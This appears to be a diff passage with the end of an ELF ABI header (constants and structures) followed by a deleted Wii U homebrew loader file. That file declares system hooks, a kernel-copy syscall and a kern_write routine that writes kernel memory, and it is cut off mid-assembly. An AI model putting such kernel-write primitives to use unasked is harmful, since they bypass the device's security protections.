#define ELFOSABI_NONE 0 /* No extension specified */
|
||||
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
|
||||
#define ELFOSABI_NETBSD 2 /* NetBSD */
|
||||
#define ELFOSABI_LINUX 3 /* Linux */
|
||||
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
|
||||
#define ELFOSABI_AIX 7 /* AIX */
|
||||
#define ELFOSABI_IRIX 8 /* IRIX */
|
||||
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
|
||||
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
|
||||
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
|
||||
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
|
||||
/* 64-255 Architecture-specific value range */
|
||||
|
||||
/* e_ident[] ABI Version */
|
||||
#define ELFABIVERSION 0
|
||||
|
||||
/* e_ident */
|
||||
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
|
||||
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
|
||||
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
|
||||
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
|
||||
|
||||
/* ELF Header */
|
||||
typedef struct elfhdr{
|
||||
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
|
||||
Elf32_Half e_type; /* object file type */
|
||||
Elf32_Half e_machine; /* machine */
|
||||
Elf32_Word e_version; /* object file version */
|
||||
Elf32_Addr e_entry; /* virtual entry point */
|
||||
Elf32_Off e_phoff; /* program header table offset */
|
||||
Elf32_Off e_shoff; /* section header table offset */
|
||||
Elf32_Word e_flags; /* processor-specific flags */
|
||||
Elf32_Half e_ehsize; /* ELF header size */
|
||||
Elf32_Half e_phentsize; /* program header entry size */
|
||||
Elf32_Half e_phnum; /* number of program header entries */
|
||||
Elf32_Half e_shentsize; /* section header entry size */
|
||||
Elf32_Half e_shnum; /* number of section header entries */
|
||||
Elf32_Half e_shstrndx; /* section header table's "section
|
||||
header string table" entry offset */
|
||||
} Elf32_Ehdr;
|
||||
|
||||
/* e_type */
|
||||
#define ET_NONE 0 /* No file type */
|
||||
#define ET_REL 1 /* relocatable file */
|
||||
#define ET_EXEC 2 /* executable file */
|
||||
#define ET_DYN 3 /* shared object file */
|
||||
#define ET_CORE 4 /* core file */
|
||||
#define ET_NUM 5 /* number of types */
|
||||
#define ET_LOOS 0xfe00 /* reserved range for operating */
|
||||
#define ET_HIOS 0xfeff /* system specific e_type */
|
||||
#define ET_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define ET_HIPROC 0xffff /* specific e_type */
|
||||
|
||||
/* e_machine */
|
||||
#define EM_NONE 0 /* No Machine */
|
||||
#define EM_M32 1 /* AT&T WE 32100 */
|
||||
#define EM_SPARC 2 /* SPARC */
|
||||
#define EM_386 3 /* Intel 80386 */
|
||||
#define EM_68K 4 /* Motorola 68000 */
|
||||
#define EM_88K 5 /* Motorola 88000 */
|
||||
#if 0
|
||||
#define EM_486 6 /* RESERVED - was Intel 80486 */
|
||||
#endif
|
||||
#define EM_860 7 /* Intel 80860 */
|
||||
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
|
||||
#define EM_S370 9 /* IBM System/370 Processor */
|
||||
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
|
||||
#if 0
|
||||
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
|
||||
64-bit unoffical */
|
||||
#endif
|
||||
/* RESERVED 11-14 for future use */
|
||||
#define EM_PARISC 15 /* HPPA */
|
||||
/* RESERVED 16 for future use */
|
||||
#define EM_VPP500 17 /* Fujitsu VPP500 */
|
||||
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
|
||||
#define EM_960 19 /* Intel 80960 */
|
||||
#define EM_PPC 20 /* PowerPC */
|
||||
#define EM_PPC64 21 /* 64-bit PowerPC */
|
||||
#define EM_S390 22 /* IBM System/390 Processor */
|
||||
/* RESERVED 23-35 for future use */
|
||||
#define EM_V800 36 /* NEC V800 */
|
||||
#define EM_FR20 37 /* Fujitsu FR20 */
|
||||
#define EM_RH32 38 /* TRW RH-32 */
|
||||
#define EM_RCE 39 /* Motorola RCE */
|
||||
#define EM_ARM 40 /* Advanced Risc Machines ARM */
|
||||
#define EM_ALPHA 41 /* Digital Alpha */
|
||||
#define EM_SH 42 /* Hitachi SH */
|
||||
#define EM_SPARCV9 43 /* SPARC Version 9 */
|
||||
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
|
||||
#define EM_ARC 45 /* Argonaut RISC Core */
|
||||
#define EM_H8_300 46 /* Hitachi H8/300 */
|
||||
#define EM_H8_300H 47 /* Hitachi H8/300H */
|
||||
#define EM_H8S 48 /* Hitachi H8S */
|
||||
#define EM_H8_500 49 /* Hitachi H8/500 */
|
||||
#define EM_IA_64 50 /* Intel Merced */
|
||||
#define EM_MIPS_X 51 /* Stanford MIPS-X */
|
||||
#define EM_COLDFIRE 52 /* Motorola Coldfire */
|
||||
#define EM_68HC12 53 /* Motorola M68HC12 */
|
||||
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
|
||||
#define EM_PCP 55 /* Siemens PCP */
|
||||
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
|
||||
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
|
||||
#define EM_STARCORE 58 /* Motorola Start*Core processor */
|
||||
#define EM_ME16 59 /* Toyota ME16 processor */
|
||||
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
|
||||
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
|
||||
#define EM_X86_64 62 /* AMD x86-64 */
|
||||
#define EM_PDSP 63 /* Sony DSP Processor */
|
||||
/* RESERVED 64,65 for future use */
|
||||
#define EM_FX66 66 /* Siemens FX66 microcontroller */
|
||||
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
|
||||
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
|
||||
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
|
||||
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
|
||||
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
|
||||
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
|
||||
#define EM_SVX 73 /* Silicon Graphics SVx */
|
||||
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
|
||||
#define EM_VAX 75 /* Digital VAX */
|
||||
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
|
||||
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
|
||||
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
|
||||
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
|
||||
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
|
||||
#define EM_HUANY 81 /* Harvard University mach-indep objs */
|
||||
#define EM_PRISM 82 /* SiTera Prism */
|
||||
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
|
||||
#define EM_FR30 84 /* Fujitsu FR30 */
|
||||
#define EM_D10V 85 /* Mitsubishi DV10V */
|
||||
#define EM_D30V 86 /* Mitsubishi DV30V */
|
||||
#define EM_V850 87 /* NEC v850 */
|
||||
#define EM_M32R 88 /* Mitsubishi M32R */
|
||||
#define EM_MN10300 89 /* Matsushita MN10200 */
|
||||
#define EM_MN10200 90 /* Matsushita MN10200 */
|
||||
#define EM_PJ 91 /* picoJava */
|
||||
#define EM_NUM 92 /* number of machine types */
|
||||
|
||||
/* Version */
|
||||
#define EV_NONE 0 /* Invalid */
|
||||
#define EV_CURRENT 1 /* Current */
|
||||
#define EV_NUM 2 /* number of versions */
|
||||
|
||||
/* Section Header */
|
||||
typedef struct {
|
||||
Elf32_Word sh_name; /* name - index into section header
|
||||
string table section */
|
||||
Elf32_Word sh_type; /* type */
|
||||
Elf32_Word sh_flags; /* flags */
|
||||
Elf32_Addr sh_addr; /* address */
|
||||
Elf32_Off sh_offset; /* file offset */
|
||||
Elf32_Word sh_size; /* section size */
|
||||
Elf32_Word sh_link; /* section header table index link */
|
||||
Elf32_Word sh_info; /* extra information */
|
||||
Elf32_Word sh_addralign; /* address alignment */
|
||||
Elf32_Word sh_entsize; /* section entry size */
|
||||
} Elf32_Shdr;
|
||||
|
||||
/* Special Section Indexes */
|
||||
#define SHN_UNDEF 0 /* undefined */
|
||||
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
|
||||
#define SHN_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define SHN_HIPROC 0xff1f /* specific section indexes */
|
||||
#define SHN_LOOS 0xff20 /* reserved range for operating */
|
||||
#define SHN_HIOS 0xff3f /* specific semantics */
|
||||
#define SHN_ABS 0xfff1 /* absolute value */
|
||||
#define SHN_COMMON 0xfff2 /* common symbol */
|
||||
#define SHN_XINDEX 0xffff /* Index is an extra table */
|
||||
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
|
||||
|
||||
/* sh_type */
|
||||
#define SHT_NULL 0 /* inactive */
|
||||
#define SHT_PROGBITS 1 /* program defined information */
|
||||
#define SHT_SYMTAB 2 /* symbol table section */
|
||||
#define SHT_STRTAB 3 /* string table section */
|
||||
#define SHT_RELA 4 /* relocation section with addends*/
|
||||
#define SHT_HASH 5 /* symbol hash table section */
|
||||
#define SHT_DYNAMIC 6 /* dynamic section */
|
||||
#define SHT_NOTE 7 /* note section */
|
||||
#define SHT_NOBITS 8 /* no space section */
|
||||
#define SHT_REL 9 /* relation section without addends */
|
||||
#define SHT_SHLIB 10 /* reserved - purpose unknown */
|
||||
#define SHT_DYNSYM 11 /* dynamic symbol table section */
|
||||
#define SHT_INIT_ARRAY 14 /* Array of constructors */
|
||||
#define SHT_FINI_ARRAY 15 /* Array of destructors */
|
||||
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
|
||||
#define SHT_GROUP 17 /* Section group */
|
||||
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
|
||||
#define SHT_NUM 19 /* number of section types */
|
||||
#define SHT_LOOS 0x60000000 /* Start OS-specific */
|
||||
#define SHT_HIOS 0x6fffffff /* End OS-specific */
|
||||
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define SHT_HIPROC 0x7fffffff /* specific section header types */
|
||||
#define SHT_LOUSER 0x80000000 /* reserved range for application */
|
||||
#define SHT_HIUSER 0xffffffff /* specific indexes */
|
||||
|
||||
/* Section names */
|
||||
#define ELF_BSS ".bss" /* uninitialized data */
|
||||
#define ELF_COMMENT ".comment" /* version control information */
|
||||
#define ELF_DATA ".data" /* initialized data */
|
||||
#define ELF_DATA1 ".data1" /* initialized data */
|
||||
#define ELF_DEBUG ".debug" /* debug */
|
||||
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
|
||||
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
|
||||
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
|
||||
#define ELF_FINI ".fini" /* termination code */
|
||||
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
|
||||
#define ELF_GOT ".got" /* global offset table */
|
||||
#define ELF_HASH ".hash" /* symbol hash table */
|
||||
#define ELF_INIT ".init" /* initialization code */
|
||||
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
|
||||
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
|
||||
#define ELF_LINE ".line" /* Symbolic line numnber information */
|
||||
#define ELF_NOTE ".note" /* Contains note section */
|
||||
#define ELF_PLT ".plt" /* Procedure linkage table */
|
||||
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
|
||||
#define ELF_REL_DATA ".rel.data" /* relocation data */
|
||||
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
|
||||
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
|
||||
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
|
||||
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
|
||||
#define ELF_REL_TEXT ".rel.text" /* relocation code */
|
||||
#define ELF_RODATA ".rodata" /* read-only data */
|
||||
#define ELF_RODATA1 ".rodata1" /* read-only data */
|
||||
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
|
||||
#define ELF_STRTAB ".strtab" /* string table */
|
||||
#define ELF_SYMTAB ".symtab" /* symbol table */
|
||||
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
|
||||
#define ELF_TBSS ".tbss" /* thread local uninit data */
|
||||
#define ELF_TDATA ".tdata" /* thread local init data */
|
||||
#define ELF_TDATA1 ".tdata1" /* thread local init data */
|
||||
#define ELF_TEXT ".text" /* code */
|
||||
|
||||
/* Section Attribute Flags - sh_flags */
|
||||
#define SHF_WRITE 0x1 /* Writable */
|
||||
#define SHF_ALLOC 0x2 /* occupies memory */
|
||||
#define SHF_EXECINSTR 0x4 /* executable */
|
||||
#define SHF_MERGE 0x10 /* Might be merged */
|
||||
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
|
||||
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
|
||||
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
|
||||
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
|
||||
#define SHF_GROUP 0x200 /* Member of section group */
|
||||
#define SHF_TLS 0x400 /* Thread local storage */
|
||||
#define SHF_MASKOS 0x0ff00000 /* OS specific */
|
||||
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific section attributes */
|
||||
|
||||
/* Section Group Flags */
|
||||
#define GRP_COMDAT 0x1 /* COMDAT group */
|
||||
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
|
||||
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
|
||||
|
||||
/* Symbol Table Entry */
|
||||
typedef struct elf32_sym {
|
||||
Elf32_Word st_name; /* name - index into string table */
|
||||
Elf32_Addr st_value; /* symbol value */
|
||||
Elf32_Word st_size; /* symbol size */
|
||||
unsigned char st_info; /* type and binding */
|
||||
unsigned char st_other; /* 0 - no defined meaning */
|
||||
Elf32_Half st_shndx; /* section header index */
|
||||
} Elf32_Sym;
|
||||
|
||||
/* Symbol table index */
|
||||
#define STN_UNDEF 0 /* undefined */
|
||||
|
||||
/* Extract symbol info - st_info */
|
||||
#define ELF32_ST_BIND(x) ((x) >> 4)
|
||||
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
|
||||
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
|
||||
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
|
||||
|
||||
/* Symbol Binding - ELF32_ST_BIND - st_info */
|
||||
#define STB_LOCAL 0 /* Local symbol */
|
||||
#define STB_GLOBAL 1 /* Global symbol */
|
||||
#define STB_WEAK 2 /* like global - lower precedence */
|
||||
#define STB_NUM 3 /* number of symbol bindings */
|
||||
#define STB_LOOS 10 /* reserved range for operating */
|
||||
#define STB_HIOS 12 /* system specific symbol bindings */
|
||||
#define STB_LOPROC 13 /* reserved range for processor */
|
||||
#define STB_HIPROC 15 /* specific symbol bindings */
|
||||
|
||||
/* Symbol type - ELF32_ST_TYPE - st_info */
|
||||
#define STT_NOTYPE 0 /* not specified */
|
||||
#define STT_OBJECT 1 /* data object */
|
||||
#define STT_FUNC 2 /* function */
|
||||
#define STT_SECTION 3 /* section */
|
||||
#define STT_FILE 4 /* file */
|
||||
#define STT_NUM 5 /* number of symbol types */
|
||||
#define STT_TLS 6 /* Thread local storage symbol */
|
||||
#define STT_LOOS 10 /* reserved range for operating */
|
||||
#define STT_HIOS 12 /* system specific symbol types */
|
||||
#define STT_LOPROC 13 /* reserved range for processor */
|
||||
#define STT_HIPROC 15 /* specific symbol types */
|
||||
|
||||
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
|
||||
#define STV_DEFAULT 0 /* Normal visibility rules */
|
||||
#define STV_INTERNAL 1 /* Processor specific hidden class */
|
||||
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
|
||||
#define STV_PROTECTED 3 /* Not preemptible, not exported */
|
||||
|
||||
|
||||
/* Relocation entry with implicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
} Elf32_Rel;
|
||||
|
||||
/* Relocation entry with explicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
Elf32_Sword r_addend;
|
||||
} Elf32_Rela;
|
||||
|
||||
/* Extract relocation info - r_info */
|
||||
#define ELF32_R_SYM(i) ((i) >> 8)
|
||||
#define ELF32_R_TYPE(i) ((unsigned char) (i))
|
||||
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
|
||||
|
||||
/* Program Header */
|
||||
typedef struct {
|
||||
Elf32_Word p_type; /* segment type */
|
||||
Elf32_Off p_offset; /* segment offset */
|
||||
Elf32_Addr p_vaddr; /* virtual address of segment */
|
||||
Elf32_Addr p_paddr; /* physical address - ignored? */
|
||||
Elf32_Word p_filesz; /* number of bytes in file for seg. */
|
||||
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
|
||||
Elf32_Word p_flags; /* flags */
|
||||
Elf32_Word p_align; /* memory alignment */
|
||||
} Elf32_Phdr;
|
||||
|
||||
/* Segment types - p_type */
|
||||
#define PT_NULL 0 /* unused */
|
||||
#define PT_LOAD 1 /* loadable segment */
|
||||
#define PT_DYNAMIC 2 /* dynamic linking section */
|
||||
#define PT_INTERP 3 /* the RTLD */
|
||||
#define PT_NOTE 4 /* auxiliary information */
|
||||
#define PT_SHLIB 5 /* reserved - purpose undefined */
|
||||
#define PT_PHDR 6 /* program header */
|
||||
#define PT_TLS 7 /* Thread local storage template */
|
||||
#define PT_NUM 8 /* Number of segment types */
|
||||
#define PT_LOOS 0x60000000 /* reserved range for operating */
|
||||
#define PT_HIOS 0x6fffffff /* system specific segment types */
|
||||
#define PT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define PT_HIPROC 0x7fffffff /* specific segment types */
|
||||
|
||||
/* Segment flags - p_flags */
|
||||
#define PF_X 0x1 /* Executable */
|
||||
#define PF_W 0x2 /* Writable */
|
||||
#define PF_R 0x4 /* Readable */
|
||||
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
|
||||
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific segment flags */
|
||||
/* Dynamic structure */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Sword d_tag; /* controls meaning of d_val */
|
||||
union
|
||||
{
|
||||
Elf32_Word d_val; /* Multiple meanings - see d_tag */
|
||||
Elf32_Addr d_ptr; /* program virtual address */
|
||||
} d_un;
|
||||
} Elf32_Dyn;
|
||||
|
||||
extern Elf32_Dyn _DYNAMIC[];
|
||||
|
||||
/* Dynamic Array Tags - d_tag */
|
||||
#define DT_NULL 0 /* marks end of _DYNAMIC array */
|
||||
#define DT_NEEDED 1 /* string table offset of needed lib */
|
||||
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
|
||||
#define DT_PLTGOT 3 /* address PLT/GOT */
|
||||
#define DT_HASH 4 /* address of symbol hash table */
|
||||
#define DT_STRTAB 5 /* address of string table */
|
||||
#define DT_SYMTAB 6 /* address of symbol table */
|
||||
#define DT_RELA 7 /* address of relocation table */
|
||||
#define DT_RELASZ 8 /* size of relocation table */
|
||||
#define DT_RELAENT 9 /* size of relocation entry */
|
||||
#define DT_STRSZ 10 /* size of string table */
|
||||
#define DT_SYMENT 11 /* size of symbol table entry */
|
||||
#define DT_INIT 12 /* address of initialization func. */
|
||||
#define DT_FINI 13 /* address of termination function */
|
||||
#define DT_SONAME 14 /* string table offset of shared obj */
|
||||
#define DT_RPATH 15 /* string table offset of library
|
||||
search path */
|
||||
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
|
||||
#define DT_REL 17 /* address of rel. tbl. w addends */
|
||||
#define DT_RELSZ 18 /* size of DT_REL relocation table */
|
||||
#define DT_RELENT 19 /* size of DT_REL relocation entry */
|
||||
#define DT_PLTREL 20 /* PLT referenced relocation entry */
|
||||
#define DT_DEBUG 21 /* bugger */
|
||||
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
|
||||
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
|
||||
#define DT_BIND_NOW 24 /* Process relocations of object */
|
||||
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
|
||||
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
|
||||
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
|
||||
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
|
||||
#define DT_RUNPATH 29 /* Library search path */
|
||||
#define DT_FLAGS 30 /* Flags for the object being loaded */
|
||||
#define DT_ENCODING 32 /* Start of encoded range */
|
||||
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
|
||||
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
|
||||
#define DT_NUM 34 /* Number used. */
|
||||
#define DT_LOOS 0x60000000 /* reserved range for OS */
|
||||
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
|
||||
#define DT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
|
||||
|
||||
/* Dynamic Tag Flags - d_un.d_val */
|
||||
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
|
||||
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
|
||||
#define DF_TEXTREL 0x04 /* Object contains text relocations */
|
||||
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
|
||||
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
|
||||
|
||||
/* Standard ELF hashing function */
|
||||
unsigned long elf_hash(const unsigned char *name);
|
||||
|
||||
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
|
||||
|
||||
/*
|
||||
* XXX - PowerPC defines really don't belong in here,
|
||||
* but we'll put them in for simplicity.
|
||||
*/
|
||||
|
||||
/* Values for Elf32/64_Ehdr.e_flags. */
|
||||
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
|
||||
|
||||
/* Cygnus local bits below */
|
||||
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
|
||||
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
|
||||
flag */
|
||||
|
||||
/* PowerPC relocations defined by the ABIs */
|
||||
#define R_PPC_NONE 0
|
||||
#define R_PPC_ADDR32 1 /* 32bit absolute address */
|
||||
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
|
||||
#define R_PPC_ADDR16 3 /* 16bit absolute address */
|
||||
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
|
||||
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
|
||||
#define R_PPC_ADDR14_BRTAKEN 8
|
||||
#define R_PPC_ADDR14_BRNTAKEN 9
|
||||
#define R_PPC_REL24 10 /* PC relative 26 bit */
|
||||
#define R_PPC_REL14 11 /* PC relative 16 bit */
|
||||
#define R_PPC_REL14_BRTAKEN 12
|
||||
#define R_PPC_REL14_BRNTAKEN 13
|
||||
#define R_PPC_GOT16 14
|
||||
#define R_PPC_GOT16_LO 15
|
||||
#define R_PPC_GOT16_HI 16
|
||||
#define R_PPC_GOT16_HA 17
|
||||
#define R_PPC_PLTREL24 18
|
||||
#define R_PPC_COPY 19
|
||||
#define R_PPC_GLOB_DAT 20
|
||||
#define R_PPC_JMP_SLOT 21
|
||||
#define R_PPC_RELATIVE 22
|
||||
#define R_PPC_LOCAL24PC 23
|
||||
#define R_PPC_UADDR32 24
|
||||
#define R_PPC_UADDR16 25
|
||||
#define R_PPC_REL32 26
|
||||
#define R_PPC_PLT32 27
|
||||
#define R_PPC_PLTREL32 28
|
||||
#define R_PPC_PLT16_LO 29
|
||||
#define R_PPC_PLT16_HI 30
|
||||
#define R_PPC_PLT16_HA 31
|
||||
#define R_PPC_SDAREL16 32
|
||||
#define R_PPC_SECTOFF 33
|
||||
#define R_PPC_SECTOFF_LO 34
|
||||
#define R_PPC_SECTOFF_HI 35
|
||||
#define R_PPC_SECTOFF_HA 36
|
||||
/* Keep this the last entry. */
|
||||
#define R_PPC_NUM 37
|
||||
|
||||
/* The remaining relocs are from the Embedded ELF ABI, and are not
|
||||
in the SVR4 ELF ABI. */
|
||||
#define R_PPC_EMB_NADDR32 101
|
||||
#define R_PPC_EMB_NADDR16 102
|
||||
#define R_PPC_EMB_NADDR16_LO 103
|
||||
#define R_PPC_EMB_NADDR16_HI 104
|
||||
#define R_PPC_EMB_NADDR16_HA 105
|
||||
#define R_PPC_EMB_SDAI16 106
|
||||
#define R_PPC_EMB_SDA2I16 107
|
||||
#define R_PPC_EMB_SDA2REL 108
|
||||
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
|
||||
#define R_PPC_EMB_MRKREF 110
|
||||
#define R_PPC_EMB_RELSEC16 111
|
||||
#define R_PPC_EMB_RELST_LO 112
|
||||
#define R_PPC_EMB_RELST_HI 113
|
||||
#define R_PPC_EMB_RELST_HA 114
|
||||
#define R_PPC_EMB_BIT_FLD 115
|
||||
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
|
||||
|
||||
/* Diab tool relocations. */
|
||||
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
|
||||
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
|
||||
|
||||
/* This is a phony reloc to handle any old fashioned TOC16 references
|
||||
that may still be in object files. */
|
||||
#define R_PPC_TOC16 255
|
||||
|
||||
#endif /* _ELF_H */
|
@ -1,661 +0,0 @@
|
||||
#include <gctypes.h>
|
||||
#include "elf_abi.h"
|
||||
#include "../../src/common/common.h"
|
||||
#include "../../src/common/os_defs.h"
|
||||
#include "fs_defs.h"
|
||||
#include "kernel_defs.h"
|
||||
#include "loader_defs.h"
|
||||
|
||||
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
|
||||
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
|
||||
|
||||
typedef struct _private_data_t
|
||||
{
|
||||
EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);
|
||||
EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);
|
||||
|
||||
EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);
|
||||
EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);
|
||||
EXPORT_DECL(void, OSFatal, const char* msg);
|
||||
EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*);
|
||||
EXPORT_DECL(void, exit, int);
|
||||
|
||||
EXPORT_DECL(int, FSInit, void);
|
||||
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
|
||||
EXPORT_DECL(int, FSDelClient, void *pClient);
|
||||
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
|
||||
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling);
|
||||
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
|
||||
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
|
||||
|
||||
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv);
|
||||
} private_data_t;
|
||||
|
||||
static void (*DCFlushRange)(void *addr, unsigned int size);
|
||||
static void (*DCInvalidateRange)(void *addr, unsigned int size);
|
||||
static void (*ICInvalidateRange)(void *addr, unsigned int size);
|
||||
static unsigned int hook_LiWaitOneChunk;
|
||||
static unsigned int addrphys_LiWaitOneChunk;
|
||||
|
||||
extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||
extern void my_PrepareTitle_hook(void);
|
||||
|
||||
/* Write a 32-bit word with kernel permissions */
|
||||
static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
|
||||
{
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
